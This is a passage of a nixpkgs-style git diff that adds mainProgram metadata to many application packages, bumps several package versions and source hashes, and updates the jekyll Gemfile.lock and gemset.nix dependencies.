b/pkgs/applications/misc/fsv/default.nix index 9ffd520a7d56d..e49610116f71d 100644 --- a/pkgs/applications/misc/fsv/default.nix +++ b/pkgs/applications/misc/fsv/default.nix @@ -57,5 +57,6 @@ stdenv.mkDerivation rec { license = licenses.lgpl2; platforms = platforms.linux; maintainers = with maintainers; [ rnhmjoj ]; + mainProgram = "fsv"; }; } diff --git a/pkgs/applications/misc/galculator/default.nix b/pkgs/applications/misc/galculator/default.nix index a96cbb5661063..9128906fe9c50 100644 --- a/pkgs/applications/misc/galculator/default.nix +++ b/pkgs/applications/misc/galculator/default.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ maintainers.AndersonTorres ]; platforms = platforms.linux; + mainProgram = "galculator"; }; } diff --git a/pkgs/applications/misc/gallery-dl/default.nix b/pkgs/applications/misc/gallery-dl/default.nix index 772bd2d7a77b6..09c0cdd0d1c4e 100644 --- a/pkgs/applications/misc/gallery-dl/default.nix +++ b/pkgs/applications/misc/gallery-dl/default.nix @@ -2,13 +2,13 @@ buildPythonApplication rec { pname = "gallery-dl"; - version = "1.26.7"; + version = "1.26.8"; format = "setuptools"; src = fetchPypi { inherit version; pname = "gallery_dl"; - sha256 = "sha256-+aoXcxJVBp9nXKS+3+CG7XkDMemSgvExMXtnR2FDhYs="; + sha256 = "sha256-tfNmKgWKr2TGQNgvC/qo2+Dvij4LUL0Zy77mfTcci2k="; }; propagatedBuildInputs = [ diff --git a/pkgs/applications/misc/ganttproject-bin/default.nix b/pkgs/applications/misc/ganttproject-bin/default.nix index 985a67ab963f8..abf63bece8073 100644 --- a/pkgs/applications/misc/ganttproject-bin/default.nix +++ b/pkgs/applications/misc/ganttproject-bin/default.nix @@ -54,5 +54,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; platforms = platforms.linux; maintainers = [ maintainers.vidbina ]; + mainProgram = "ganttproject"; }; } diff --git a/pkgs/applications/misc/gcfflasher/default.nix b/pkgs/applications/misc/gcfflasher/default.nix index 917a665760174..b9a49e1723299 100644 --- a/pkgs/applications/misc/gcfflasher/default.nix +++ b/pkgs/applications/misc/gcfflasher/default.nix @@ -8,13 +8,13 @@ stdenv.mkDerivation rec { pname = "gcfflasher"; - version = "4.3.0-beta"; + version = "4.4.0"; src = fetchFromGitHub { owner = "dresden-elektronik"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-H1CZ7rAM1QpdmSnUpvg6ytln/0MQKju/C4aIk3xl0PA="; + hash = "sha256-o0S4NtgQ/Rlpmkk8pTocmP0N+5F7BX8lUsczOKjujwk="; }; nativeBuildInputs = [ @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/dresden-elektronik/gcfflasher"; maintainers = with maintainers; [ fleaz ]; platforms = platforms.all; + mainProgram = "GCFFlasher"; }; } diff --git a/pkgs/applications/misc/geek-life/default.nix b/pkgs/applications/misc/geek-life/default.nix index ae0fa298594d5..0e8e3899bb2a6 100644 --- a/pkgs/applications/misc/geek-life/default.nix +++ b/pkgs/applications/misc/geek-life/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { description = "The Todo List / Task Manager for Geeks in command line"; maintainers = with maintainers; [ noisersup ]; license = licenses.mit; + mainProgram = "geek-life"; }; } diff --git a/pkgs/applications/misc/genact/default.nix b/pkgs/applications/misc/genact/default.nix index c508b3400e24d..43dee3baca4b2 100644 --- a/pkgs/applications/misc/genact/default.nix +++ b/pkgs/applications/misc/genact/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "genact"; - version = "1.3.0"; + version = "1.4.2"; src = fetchFromGitHub { owner = "svenstaro"; repo = pname; rev = "v${version}"; - sha256 = "sha256-iPDIbfbRNhgmTQHw9gNczXTcUaJ0dQpBDHg5ZOQQJ4M="; + sha256 = "sha256-Rn9kJWutWKPj9cLu2ZJKITmC+I8/ikhCAoIp00Yg6ZA="; }; - cargoHash = "sha256-Hg8Xlcx0j70Z8IwlJPCwm+qhurXjtKGLI3ZUCeHL1KY="; + cargoHash = "sha256-kmXtwS5pCLEq5dbNHtWYGzDKjOUlVlr5xippVd2wl8k="; nativeBuildInputs = [ installShellFiles ]; @@ -31,5 +31,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/svenstaro/genact/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "genact"; }; } diff --git a/pkgs/applications/misc/geoipupdate/default.nix b/pkgs/applications/misc/geoipupdate/default.nix index 2d0bd2ca594c6..939205017fe7b 100644 --- a/pkgs/applications/misc/geoipupdate/default.nix +++ b/pkgs/applications/misc/geoipupdate/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { homepage = "https://github.com/maxmind/geoipupdate"; license = with licenses; [ asl20 ]; maintainers = teams.helsinki-systems.members; + mainProgram = "geoipupdate"; }; } diff --git a/pkgs/applications/misc/ghosttohugo/default.nix b/pkgs/applications/misc/ghosttohugo/default.nix index 29091a8447c23..5ec5cc6870cae 100644 --- a/pkgs/applications/misc/ghosttohugo/default.nix +++ b/pkgs/applications/misc/ghosttohugo/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { homepage = "https://github.com/jbarone/ghostToHugo"; license = licenses.mit; maintainers = with maintainers; [ clerie ]; + mainProgram = "ghostToHugo"; }; } diff --git a/pkgs/applications/misc/gimoji/default.nix b/pkgs/applications/misc/gimoji/default.nix index e16d7312f5df1..1a039cc053079 100644 --- a/pkgs/applications/misc/gimoji/default.nix +++ b/pkgs/applications/misc/gimoji/default.nix @@ -7,16 +7,16 @@ rustPlatform.buildRustPackage rec { pname = "gimoji"; - version = "0.7.3"; + version = "1.0.0"; src = fetchFromGitHub { owner = "zeenix"; repo = "gimoji"; rev = version; - hash = "sha256-xQ02jmPuu1IHkQCCJn2FVPcJRbwN+k8FhsZyDX0oHaw="; + hash = "sha256-O4rIla/vpei+N2TXB2eIrFAkOyguE9gCQgVptl2mn0w="; }; - cargoHash = "sha256-DSLIH6swVQXHrqKBxlrhNTG5maRmUi6Ndmuuv0Vo3Ak="; + cargoHash = "sha256-ne7b95snaoji3mF3yN6ZvTSnQxJvLT7jOMbh5U10YgU="; buildInputs = lib.optionals stdenv.isDarwin [ darwin.apple_sdk.frameworks.AppKit diff --git a/pkgs/applications/misc/gmnitohtml/default.nix b/pkgs/applications/misc/gmnitohtml/default.nix index 463d1d50ab54f..837379890b4cb 100644 --- a/pkgs/applications/misc/gmnitohtml/default.nix +++ b/pkgs/applications/misc/gmnitohtml/default.nix @@ -42,5 +42,6 @@ buildGoModule rec { ''; license = licenses.mit; maintainers = with maintainers; [ jk sikmir ]; + mainProgram = "gmnitohtml"; }; } diff --git a/pkgs/applications/misc/gmrun/default.nix b/pkgs/applications/misc/gmrun/default.nix index bd99adf943598..e71b1a6484d38 100644 --- a/pkgs/applications/misc/gmrun/default.nix +++ b/pkgs/applications/misc/gmrun/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = []; platforms = platforms.all; + mainProgram = "gmrun"; }; } diff --git a/pkgs/applications/misc/go-org/default.nix b/pkgs/applications/misc/go-org/default.nix index 6ab70d0fe3072..8aa5a3be717b4 100644 --- a/pkgs/applications/misc/go-org/default.nix +++ b/pkgs/applications/misc/go-org/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { homepage = "https://niklasfasching.github.io/go-org"; license = licenses.mit; maintainers = with maintainers; [ payas ]; + mainProgram = "go-org"; }; } diff --git a/pkgs/applications/misc/gollum/default.nix b/pkgs/applications/misc/gollum/default.nix index cafebfad39a22..a345896ca8d96 100644 --- a/pkgs/applications/misc/gollum/default.nix +++ b/pkgs/applications/misc/gollum/default.nix @@ -19,5 +19,6 @@ bundlerApp rec { license = licenses.mit; maintainers = with maintainers; [ erictapen jgillich nicknovitski bbenno ]; platforms = platforms.unix; + mainProgram = "gollum"; }; } diff --git a/pkgs/applications/misc/gomatrix/default.nix b/pkgs/applications/misc/gomatrix/default.nix index 2b9ee3a15553e..001b57d06eec3 100644 --- a/pkgs/applications/misc/gomatrix/default.nix +++ b/pkgs/applications/misc/gomatrix/default.nix @@ -20,5 +20,6 @@ buildGoModule rec { license = licenses.bsd2; maintainers = with maintainers; [ skykanin ]; homepage = "https://github.com/GeertJohan/gomatrix"; + mainProgram = "gomatrix"; }; } diff --git a/pkgs/applications/misc/googler/default.nix b/pkgs/applications/misc/googler/default.nix index a7cd5ec64abd4..9e204ed636f30 100644 --- a/pkgs/applications/misc/googler/default.nix +++ b/pkgs/applications/misc/googler/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3Plus; maintainers = with maintainers; [ koral Br1ght0ne ]; platforms = python.meta.platforms; + mainProgram = "googler"; }; } diff --git a/pkgs/applications/misc/gostatic/default.nix b/pkgs/applications/misc/gostatic/default.nix index 240df1a913634..b7967f6f4e4ff 100644 --- a/pkgs/applications/misc/gostatic/default.nix +++ b/pkgs/applications/misc/gostatic/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { homepage = "https://github.com/piranha/gostatic"; license = licenses.isc; maintainers = with maintainers; [ urandom ]; + mainProgram = "gostatic"; }; } diff --git a/pkgs/applications/misc/gpa/default.nix b/pkgs/applications/misc/gpa/default.nix index 0d567dd79a106..cf6a915e29c18 100644 --- a/pkgs/applications/misc/gpa/default.nix +++ b/pkgs/applications/misc/gpa/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { homepage = "https://www.gnupg.org/related_software/gpa/"; license = licenses.gpl3Plus; platforms = platforms.unix; + mainProgram = "gpa"; }; } diff --git a/pkgs/applications/misc/gphoto2/default.nix b/pkgs/applications/misc/gphoto2/default.nix index b659040067516..96eca30a4f491 100644 --- a/pkgs/applications/misc/gphoto2/default.nix +++ b/pkgs/applications/misc/gphoto2/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = [ maintainers.jcumming ]; + mainProgram = "gphoto2"; }; } diff --git a/pkgs/applications/misc/gpsbabel/default.nix b/pkgs/applications/misc/gpsbabel/default.nix index 0898c3ccee9a4..fbacfb6984c6e 100644 --- a/pkgs/applications/misc/gpsbabel/default.nix +++ b/pkgs/applications/misc/gpsbabel/default.nix @@ -114,5 +114,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; platforms = platforms.unix; maintainers = with maintainers; [ sikmir ]; + mainProgram = "gpsbabel"; }; } diff --git a/pkgs/applications/misc/gpsprune/default.nix b/pkgs/applications/misc/gpsprune/default.nix index 8ea6091894e8e..293c3c5691ecf 100644 --- a/pkgs/applications/misc/gpsprune/default.nix +++ b/pkgs/applications/misc/gpsprune/default.nix @@ -50,5 +50,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = with maintainers; [ rycee ]; platforms = platforms.all; + mainProgram = "gpsprune"; }; } diff --git a/pkgs/applications/misc/gpu-burn/default.nix b/pkgs/applications/misc/gpu-burn/default.nix index 4d6abb585c304..fe7bcf3dcb71a 100644 --- a/pkgs/applications/misc/gpu-burn/default.nix +++ b/pkgs/applications/misc/gpu-burn/default.nix @@ -41,5 +41,6 @@ stdenv.mkDerivation { platforms = platforms.linux; maintainers = with maintainers; [ elohmeier ]; license = licenses.bsd2; + mainProgram = "gpu_burn"; }; } diff --git a/pkgs/applications/misc/gpu-viewer/default.nix b/pkgs/applications/misc/gpu-viewer/default.nix index 03ca5ee9ec17e..5d703f7d6e374 100644 --- a/pkgs/applications/misc/gpu-viewer/default.nix +++ b/pkgs/applications/misc/gpu-viewer/default.nix @@ -71,5 +71,6 @@ python3.pkgs.buildPythonApplication rec { maintainers = with maintainers; [ GaetanLepage ]; license = licenses.gpl3; platforms = platforms.linux; + mainProgram = "gpu-viewer"; }; } diff --git a/pkgs/applications/misc/gpxsee/default.nix b/pkgs/applications/misc/gpxsee/default.nix index fc756f7cd7473..896cf02dc8878 100644 --- a/pkgs/applications/misc/gpxsee/default.nix +++ b/pkgs/applications/misc/gpxsee/default.nix @@ -18,13 +18,13 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "gpxsee"; - version = "13.15"; + version = "13.16"; src = fetchFromGitHub { owner = "tumic0"; repo = "GPXSee"; rev = finalAttrs.version; - hash = "sha256-+JxxJKHOCz1Ccii27II4L4owo/qvb7RQ6STqJ+PEEBA="; + hash = "sha256-rw+I7Re1hqZ1k1flIAr7kW8Wst7pVdmFcqtQTg6L/9Y="; }; buildInputs = [ diff --git a/pkgs/applications/misc/grb/default.nix b/pkgs/applications/misc/grb/default.nix index 0a3d3dfd83b9d..9d4774b42a2cf 100644 --- a/pkgs/applications/misc/grb/default.nix +++ b/pkgs/applications/misc/grb/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/LukeSmithxyz/grb"; license = licenses.publicDomain; maintainers = [ maintainers.cafkafk ]; + mainProgram = "grb"; }; } diff --git a/pkgs/applications/misc/green-pdfviewer/default.nix b/pkgs/applications/misc/green-pdfviewer/default.nix index fe21631c0d670..9f649b07ff8cc 100644 --- a/pkgs/applications/misc/green-pdfviewer/default.nix +++ b/pkgs/applications/misc/green-pdfviewer/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation { platforms = platforms.unix; license = licenses.gpl3; maintainers = [ maintainers.vrthra ]; + mainProgram = "green"; }; } diff --git a/pkgs/applications/misc/gremlin-console/default.nix b/pkgs/applications/misc/gremlin-console/default.nix index 367387f54ec86..ee7d7d3a95b95 100644 --- a/pkgs/applications/misc/gremlin-console/default.nix +++ b/pkgs/applications/misc/gremlin-console/default.nix @@ -27,5 +27,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = [ maintainers.lewo ]; platforms = platforms.all; + mainProgram = "gremlin-console"; }; } diff --git a/pkgs/applications/misc/gremlin-server/default.nix b/pkgs/applications/misc/gremlin-server/default.nix index 82b7bf1e9fe03..00cd3bf790919 100644 --- a/pkgs/applications/misc/gremlin-server/default.nix +++ b/pkgs/applications/misc/gremlin-server/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.asl20; maintainers = [ maintainers.jrpotter ]; platforms = platforms.all; + mainProgram = "gremlin-server"; }; } diff --git a/pkgs/applications/misc/grip/default.nix b/pkgs/applications/misc/grip/default.nix index 281f8dec22720..f993cb387b74a 100644 --- a/pkgs/applications/misc/grip/default.nix +++ b/pkgs/applications/misc/grip/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation rec { maintainers = with lib.maintainers; [ marcweber ]; platforms = lib.platforms.linux; + mainProgram = "grip"; }; } diff --git a/pkgs/applications/misc/gsctl/default.nix b/pkgs/applications/misc/gsctl/default.nix index 31f8881127d16..1e88b837f4a8d 100644 --- a/pkgs/applications/misc/gsctl/default.nix +++ b/pkgs/applications/misc/gsctl/default.nix @@ -38,5 +38,6 @@ buildGoModule rec { homepage = "https://github.com/giantswarm/gsctl"; license = licenses.asl20; maintainers = with maintainers; [ joesalisbury ]; + mainProgram = "gsctl"; }; } diff --git a/pkgs/applications/misc/gsimplecal/default.nix b/pkgs/applications/misc/gsimplecal/default.nix index 2cb72575a4bfb..224f2f359d779 100644 --- a/pkgs/applications/misc/gsimplecal/default.nix +++ b/pkgs/applications/misc/gsimplecal/default.nix @@ -40,5 +40,6 @@ stdenv.mkDerivation rec { license = lib.licenses.bsd3; maintainers = [ lib.maintainers.romildo ]; platforms = lib.platforms.linux; + mainProgram = "gsimplecal"; }; } diff --git a/pkgs/applications/misc/gtk2fontsel/default.nix b/pkgs/applications/misc/gtk2fontsel/default.nix index 53344338bd03a..83be4fe82393d 100644 --- a/pkgs/applications/misc/gtk2fontsel/default.nix +++ b/pkgs/applications/misc/gtk2fontsel/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.prikhi ]; platforms = platforms.linux; + mainProgram = "gtk2fontsel"; }; } diff --git a/pkgs/applications/misc/gxkb/default.nix b/pkgs/applications/misc/gxkb/default.nix index 350e331447605..201cbdb0a11ad 100644 --- a/pkgs/applications/misc/gxkb/default.nix +++ b/pkgs/applications/misc/gxkb/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2Plus; maintainers = [ maintainers.omgbebebe ]; platforms = platforms.linux; + mainProgram = "gxkb"; }; } diff --git a/pkgs/applications/misc/gxmessage/default.nix b/pkgs/applications/misc/gxmessage/default.nix index fb172eb22b016..ae5c7d1d07a4a 100644 --- a/pkgs/applications/misc/gxmessage/default.nix +++ b/pkgs/applications/misc/gxmessage/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl3Plus; maintainers = with lib.maintainers; [jfb]; platforms = with lib.platforms; linux; + mainProgram = "gxmessage"; }; } diff --git a/pkgs/applications/misc/gxneur/default.nix b/pkgs/applications/misc/gxneur/default.nix index 53873af2b07a3..0bfc3ce91f65d 100644 --- a/pkgs/applications/misc/gxneur/default.nix +++ b/pkgs/applications/misc/gxneur/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { description = "GUI for XNEUR keyboard layout switcher"; platforms = platforms.linux; license = with licenses; [ gpl2 gpl3 ]; + mainProgram = "gxneur"; }; } diff --git a/pkgs/applications/misc/harsh/default.nix b/pkgs/applications/misc/harsh/default.nix index 068a03d41cfbe..449b154cb8b62 100644 --- a/pkgs/applications/misc/harsh/default.nix +++ b/pkgs/applications/misc/harsh/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { changelog = "https://github.com/wakatara/harsh/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ laurailway ]; + mainProgram = "harsh"; }; } diff --git a/pkgs/applications/misc/has/default.nix b/pkgs/applications/misc/has/default.nix index 144d8073ff0e2..a18a996f92aa8 100644 --- a/pkgs/applications/misc/has/default.nix +++ b/pkgs/applications/misc/has/default.nix @@ -25,5 +25,6 @@ stdenvNoCC.mkDerivation (finalAttrs: rec { license = licenses.mit; maintainers = with maintainers; [ Freed-Wu ]; platforms = platforms.unix; + mainProgram = "has"; }; }) diff --git a/pkgs/applications/misc/hcl2json/default.nix b/pkgs/applications/misc/hcl2json/default.nix index d2c2bb319f8bc..be6da03f17081 100644 --- a/pkgs/applications/misc/hcl2json/default.nix +++ b/pkgs/applications/misc/hcl2json/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/tmccombs/hcl2json"; license = licenses.asl20; maintainers = with maintainers; [ jonringer ]; + mainProgram = "hcl2json"; }; } diff --git a/pkgs/applications/misc/hello-unfree/default.nix b/pkgs/applications/misc/hello-unfree/default.nix index 5c9a507fc0711..6fae0eca13997 100644 --- a/pkgs/applications/misc/hello-unfree/default.nix +++ b/pkgs/applications/misc/hello-unfree/default.nix @@ -19,5 +19,6 @@ stdenv.mkDerivation { description = "An example package with unfree license (for testing)"; license = lib.licenses.unfree; maintainers = [ lib.maintainers.oxij ]; + mainProgram = "hello-unfree"; }; } diff --git a/pkgs/applications/misc/herbe/default.nix b/pkgs/applications/misc/herbe/default.nix index 0d05228b63eb3..9ea08f0dc83cd 100644 --- a/pkgs/applications/misc/herbe/default.nix +++ b/pkgs/applications/misc/herbe/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { # NOTE: Could also work on 'unix'. platforms = platforms.linux; maintainers = with maintainers; [ wishfort36 ]; + mainProgram = "herbe"; }; } diff --git a/pkgs/applications/misc/hivemind/default.nix b/pkgs/applications/misc/hivemind/default.nix index adc6aa3642ef4..589c6fa807367 100644 --- a/pkgs/applications/misc/hivemind/default.nix +++ b/pkgs/applications/misc/hivemind/default.nix @@ -22,5 +22,6 @@ buildGoModule rec { description = "Process manager for Procfile-based applications"; license = with licenses; [ mit ]; maintainers = [ maintainers.sveitser ]; + mainProgram = "hivemind"; }; } diff --git a/pkgs/applications/misc/holochain-launcher/default.nix b/pkgs/applications/misc/holochain-launcher/default.nix index f2be253e3fac3..111a36e3ee02a 100644 --- a/pkgs/applications/misc/holochain-launcher/default.nix +++ b/pkgs/applications/misc/holochain-launcher/default.nix @@ -14,12 +14,12 @@ stdenv.mkDerivation rec { name = "holochain-launcher"; - version = "0.11.0"; + version = "0.11.5"; prerelease = "beta-2"; src = fetchurl { url = "https://github.com/holochain/launcher/releases/download/v${version}/holochain-launcher-${prerelease}_${version}_amd64.deb"; - sha256 = "sha256-yxovSsPyIzFONa1ACeLkZqDCElDI3uTm81YOYW0/FXE="; + sha256 = "sha256-MRFQJRfvJ+dLmPDfPQX9wErIwEr07EAUqxic8kbKVdo="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/hr/default.nix b/pkgs/applications/misc/hr/default.nix index 7435d02c99c8b..f0a43de700fc3 100644 --- a/pkgs/applications/misc/hr/default.nix +++ b/pkgs/applications/misc/hr/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.matthiasbeyer ]; platforms = platforms.unix; + mainProgram = "hr"; }; } diff --git a/pkgs/applications/misc/inlyne/default.nix b/pkgs/applications/misc/inlyne/default.nix index 01ce66abc7fb4..d9698c04aed57 100644 --- a/pkgs/applications/misc/inlyne/default.nix +++ b/pkgs/applications/misc/inlyne/default.nix @@ -65,5 +65,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/trimental/inlyne/releases/tag/${src.rev}"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "inlyne"; }; } diff --git a/pkgs/applications/misc/insulator2/default.nix b/pkgs/applications/misc/insulator2/default.nix index 456ca5d2448e1..65b8cb505f722 100644 --- a/pkgs/applications/misc/insulator2/default.nix +++ b/pkgs/applications/misc/insulator2/default.nix @@ -94,6 +94,7 @@ stdenv.mkDerivation rec { homepage = "https://github.com/andrewinci/insulator2"; license = licenses.gpl3Only; maintainers = with maintainers; [ tc-kaluza ]; + mainProgram = "insulator-2"; }; } diff --git a/pkgs/applications/misc/ipatool/default.nix b/pkgs/applications/misc/ipatool/default.nix index 6c3ffc5455e52..0b9e7f8a94158 100644 --- a/pkgs/applications/misc/ipatool/default.nix +++ b/pkgs/applications/misc/ipatool/default.nix @@ -47,5 +47,6 @@ buildGoModule rec { changelog = "https://github.com/majd/ipatool/blob/${src.rev}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ gaelreyrol ]; + mainProgram = "ipatool"; }; } diff --git a/pkgs/applications/misc/ipmiview/default.nix b/pkgs/applications/misc/ipmiview/default.nix index d1162052cebb0..ff8db5339f65f 100644 --- a/pkgs/applications/misc/ipmiview/default.nix +++ b/pkgs/applications/misc/ipmiview/default.nix @@ -79,5 +79,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ vlaci ]; platforms = [ "x86_64-linux" "i686-linux" ]; + mainProgram = "IPMIView"; }; } diff --git a/pkgs/applications/misc/jekyll/basic/Gemfile.lock b/pkgs/applications/misc/jekyll/basic/Gemfile.lock index 5fc41261bbf75..2c1206ca70043 100644 --- a/pkgs/applications/misc/jekyll/basic/Gemfile.lock +++ b/pkgs/applications/misc/jekyll/basic/Gemfile.lock @@ -1,29 +1,40 @@ GEM remote: https://rubygems.org/ specs: - activesupport (7.0.4) + activesupport (7.1.3.2) + base64 + bigdecimal concurrent-ruby (~> 1.0, >= 1.0.2) + connection_pool (>= 2.2.5) + drb i18n (>= 1.6, < 2) minitest (>= 5.1) + mutex_m tzinfo (~> 2.0) - addressable (2.8.1) + addressable (2.8.6) public_suffix (>= 2.0.2, < 6.0) + base64 (0.2.0) + bigdecimal (3.1.6) colorator (1.1.0) - concurrent-ruby (1.1.10) + concurrent-ruby (1.2.3) + connection_pool (2.4.1) + drb (2.2.0) + ruby2_keywords em-websocket (0.5.3) eventmachine (>= 0.12.9) http_parser.rb (~> 0) eventmachine (1.2.7) - ffi (1.15.5) + ffi (1.16.3) forwardable-extended (2.6.0) - gemoji (4.0.1) + gemoji (4.1.0) + google-protobuf (3.25.3) html-pipeline (2.14.3) activesupport (>= 2) nokogiri (>= 1.4) http_parser.rb (0.8.0) - i18n (1.12.0) + i18n (1.14.1) concurrent-ruby (~> 1.0) - jekyll (4.3.1) + jekyll (4.3.3) addressable (~> 2.4) colorator (~> 1.0) em-websocket (~> 0.5) @@ -44,8 +55,8 @@ GEM jekyll-mentions (1.6.0) html-pipeline (~> 2.3) jekyll (>= 3.7, < 5.0) - jekyll-sass-converter (2.2.0) - sassc (> 2.0.1, < 3.0) + jekyll-sass-converter (3.0.0) + sass-embedded (~> 1.54) jekyll-seo-tag (2.8.0) jekyll (>= 3.8, < 5.0) jekyll-sitemap (1.4.0) @@ -60,34 +71,38 @@ GEM rexml kramdown-parser-gfm (1.1.0) kramdown (~> 2.0) - liquid (4.0.3) - listen (3.7.1) + liquid (4.0.4) + listen (3.9.0) rb-fsevent (~> 0.10, >= 0.10.3) rb-inotify (~> 0.9, >= 0.9.10) mercenary (0.4.0) - mini_portile2 (2.8.0) - minitest (5.16.3) - nokogiri (1.13.9) - mini_portile2 (~> 2.8.0) + mini_portile2 (2.8.5) + minitest (5.22.2) + mutex_m (0.2.0) + nokogiri (1.16.2) + mini_portile2 (~> 2.8.2) racc (~> 1.4) pathutil (0.16.2) forwardable-extended (~> 2.6) - public_suffix (5.0.0) - racc (1.6.0) + public_suffix (5.0.4) + racc (1.7.3) + rake (13.1.0) rb-fsevent (0.11.2) rb-inotify (0.10.1) ffi (~> 1.0) - rexml (3.2.5) - rouge (4.0.0) + rexml (3.2.6) + rouge (4.2.0) + ruby2_keywords (0.0.5) safe_yaml (1.0.5) - sassc (2.4.0) - ffi (~> 1.9) + sass-embedded (1.71.1) + google-protobuf (~> 3.25) + rake (>= 13.0.0) terminal-table (3.0.2) unicode-display_width (>= 1.1.1, < 3) - tzinfo (2.0.5) + tzinfo (2.0.6) concurrent-ruby (~> 1.0) - unicode-display_width (2.3.0) - webrick (1.7.0) + unicode-display_width (2.5.0) + webrick (1.8.1) PLATFORMS ruby @@ -101,4 +116,4 @@ DEPENDENCIES jemoji BUNDLED WITH - 2.3.9 + 2.5.6 diff --git a/pkgs/applications/misc/jekyll/basic/gemset.nix b/pkgs/applications/misc/jekyll/basic/gemset.nix index 2e20dc241dc07..07acae17bc6f5 100644 --- a/pkgs/applications/misc/jekyll/basic/gemset.nix +++ b/pkgs/applications/misc/jekyll/basic/gemset.nix @@ -1,14 +1,14 @@ { activesupport = { - dependencies = ["concurrent-ruby" "i18n" "minitest" "tzinfo"]; + dependencies = ["base64" "bigdecimal" "concurrent-ruby" "connection_pool" "drb" "i18n" "minitest" "mutex_m" "tzinfo"]; groups = ["default"]; platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "183az13i4fsm28d0l5xhbjpmcj3l1lxzcxlx8pi8zrbd933jwqd0"; + sha256 = "0blbbf2x7dn7ar4g9aij403582zb6zscbj48bz63lvaamsvlb15d"; type = "gem"; }; - version = "7.0.4"; + version = "7.1.3.2"; }; addressable = { dependencies = ["public_suffix"]; @@ -16,10 +16,30 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1ypdmpdn20hxp5vwxz3zc04r5xcwqc25qszdlg41h8ghdqbllwmw"; + sha256 = "0irbdwkkjwzajq1ip6ba46q49sxnrl2cw7ddkdhsfhb6aprnm3vr"; type = "gem"; }; - version = "2.8.1"; + version = "2.8.6"; + }; + base64 = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "01qml0yilb9basf7is2614skjp8384h2pycfx86cr8023arfj98g"; + type = "gem"; + }; + version = "0.2.0"; + }; + bigdecimal = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "00db5v09k1z3539g1zrk7vkjrln9967k08adh6qx33ng97a2gg5w"; + type = "gem"; + }; + version = "3.1.6"; }; colorator = { groups = ["default"]; @@ -36,10 +56,31 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0s4fpn3mqiizpmpy2a24k4v365pv75y50292r8ajrv4i1p5b2k14"; + sha256 = "1qh1b14jwbbj242klkyz5fc7npd4j0mvndz62gajhvl1l3wd7zc2"; type = "gem"; }; - version = "1.1.10"; + version = "1.2.3"; + }; + connection_pool = { + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "1x32mcpm2cl5492kd6lbjbaf17qsssmpx9kdyr7z1wcif2cwyh0g"; + type = "gem"; + }; + version = "2.4.1"; + }; + drb = { + dependencies = ["ruby2_keywords"]; + groups = ["default"]; + platforms = []; + source = { + remotes = ["https://rubygems.org"]; + sha256 = "03ylflxbp9jrs1hx3d4wvx05yb9hdq4a0r706zz6qc6kvqfazr79"; + type = "gem"; + }; + version = "2.2.0"; }; em-websocket = { dependencies = ["eventmachine" "http_parser.rb"]; @@ -67,10 +108,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1862ydmclzy1a0cjbvm8dz7847d9rch495ib0zb64y84d3xd4bkg"; + sha256 = "1yvii03hcgqj30maavddqamqy50h7y6xcn2wcyq72wn823zl4ckd"; type = "gem"; }; - version = "1.15.5"; + version = "1.16.3"; }; forwardable-extended = { groups = ["default"]; @@ -87,10 +128,20 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "07lkqllgn7161rvnhnfy7adnfqv0xvr4c3ncsfxixdgmzi6acn5h"; + sha256 = "06nw5mfscjmpap7f0bc9f2hj6zd4jy3pk1lhs6llx5my1h138i3k"; + type = "gem"; + }; + version = "4.1.0"; + }; + google-protobuf = { + groups = ["default"]; + platforms = 